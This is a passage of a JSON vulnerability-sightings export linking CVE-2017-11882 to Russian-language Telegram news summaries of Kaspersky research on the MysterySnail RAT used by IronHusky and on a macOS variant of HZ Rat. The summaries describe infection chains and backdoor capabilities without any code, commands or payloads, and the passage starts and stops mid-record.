\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e RAT MysterySnail.\n\n\u041d\u043e\u0432\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u0431\u044b\u043b \u043d\u0430\u0439\u0434\u0435\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0430\u0442\u0430\u043a, \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 MMC, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u0434 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Word, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0441\u044f \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0431\u044b\u043b \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u043e\u0433\u0430\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u04212 \u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0435 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438, \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043b\u0435\u0434\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e MysterySnail RAT, \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u041b\u041a \u043e\u043f\u0438\u0441\u0430\u043b\u0430 \u0435\u0449\u0435 \u0432 2021 \u0433\u043e\u0434\u0443.\n\n\u0412 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0439 MysterySnail RAT \u0431\u044b\u043b \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0436\u0431\u044b.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0435 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 MysterySnail RAT, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0438, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043c\u043e\u0434\u0435\u0440\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0438 \u0431\u043e\u043b\u0435\u0435 \u043b\u0430\u0439\u0442\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0443\u044e \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430, - MysteryMonoSnail.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043f\u043e\u0445\u043e\u0436\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 MysterySnail RAT, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u041b\u041a\u00a0\u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2021 \u0433\u043e\u0434\u0430\u00a0\u0432 \u0445\u043e\u0434\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a \u043d\u0430 \u0418\u0422-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u0440\u044f\u0434\u0447\u0438\u043a\u043e\u0432 \u0438 \u0434\u0438\u043f\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u041c\u043e\u043d\u0433\u043e\u043b\u0438\u0438.\n\n\u0412 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 IronHusky \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043b\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e 0-day \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u044f\u0434\u0440\u0430 Windows Win32k (CVE-2021-40449).\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f APT \u0431\u044b\u043b\u0430\u00a0\u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0432 2017 \u0433\u043e\u0434\u0443\u00a0\u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u043c\u043e\u043d\u0433\u043e\u043b\u044c\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0441\u0431\u043e\u0440\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e-\u043c\u043e\u043d\u0433\u043e\u043b\u044c\u0441\u043a\u0438\u0445 \u0432\u043e\u0435\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0433\u043e\u0432\u043e\u0440\u0430\u0445.\n\n\u0413\u043e\u0434 \u0441\u043f\u0443\u0441\u0442\u044f \u041b\u041a \u0442\u0430\u043a\u0436\u0435\u00a0\u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b\u00a0\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 Microsoft Office (CVE-2017-11882) \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f RAT, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u043c\u0438 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f PoisonIvy \u0438 PlugX.\n\n\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a IronHusky \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c MysterySnail RAT - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-04-21T14:22:22.000000Z"}, {"uuid": "174ac1d5-67bd-429f-ae79-540baedd9792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/6142", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 macOS-\u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 HZ Rat, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439  \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 DingTalk \u0438 WeChat.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b Windows-\u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 shell-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432\n\nHZ RAT \u0431\u044b\u043b\u00a0\u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u00a0\u043d\u0435\u043c\u0435\u0446\u043a\u043e\u0439 DCSO \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0441\u044f \u0447\u0435\u0440\u0435\u0437 zip-\u0430\u0440\u0445\u0438\u0432\u044b \u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 RTF, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c\u00a0Royal Road RTF Weaponizer.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0435\u0440\u0441\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0445\u043e\u0441\u0442\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0434\u0430\u0432\u043d\u0435\u0439 CVE-2017-11882 \u0432 Microsoft Office.\n\n\u0414\u0440\u0443\u0433\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u041f\u041e OpenVPN, PuTTYgen \u0438\u043b\u0438 EasyConnect, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043f\u043e\u043c\u0438\u043c\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438, \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 Visual Basic (VBS), \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0437\u0430\u043f\u0443\u0441\u043a RAT.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c HZ RAT \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a C2 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 PowerShell, \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0424\u0430\u043a\u0442\u044b \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u044e\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0435\u0449\u0435 \u0432 \u0438\u044e\u043d\u0435 2020 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c DCSO, \u0441\u0430\u043c\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2020 \u0433\u043e\u0434\u0430.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043e\u0431\u0440\u0430\u0437\u0435\u0446, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0435\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e, \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 VirusTotal \u0432 \u0438\u044e\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u0432\u044b\u0434\u0430\u0432\u0430\u044f \u0441\u0435\u0431\u044f \u0437\u0430 OpenVPN Connect (OpenVPNConnect.pkg), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u044c \u0441 C2 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441\u043e \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432 \u0431\u044d\u043a\u0434\u043e\u0440\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\n\u0414\u043b\u044f \u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0441 C2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f XOR-\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043a\u043b\u044e\u0447\u043e\u043c 0x42.\n\n\u0411\u044d\u043a\u0434\u043e\u0440 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435\u0433\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0430\u043a \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f Windows.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u0431\u043e\u0440 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u0436\u0435\u0440\u0442\u0432\u0435: \u0441\u0442\u0430\u0442\u0443\u0441 System Integrity Protection (SIP), \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u043e WeChat \u0438 DingTalk, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u0440\u0435\u0434\u044b \u0438\u0437 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Google.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, 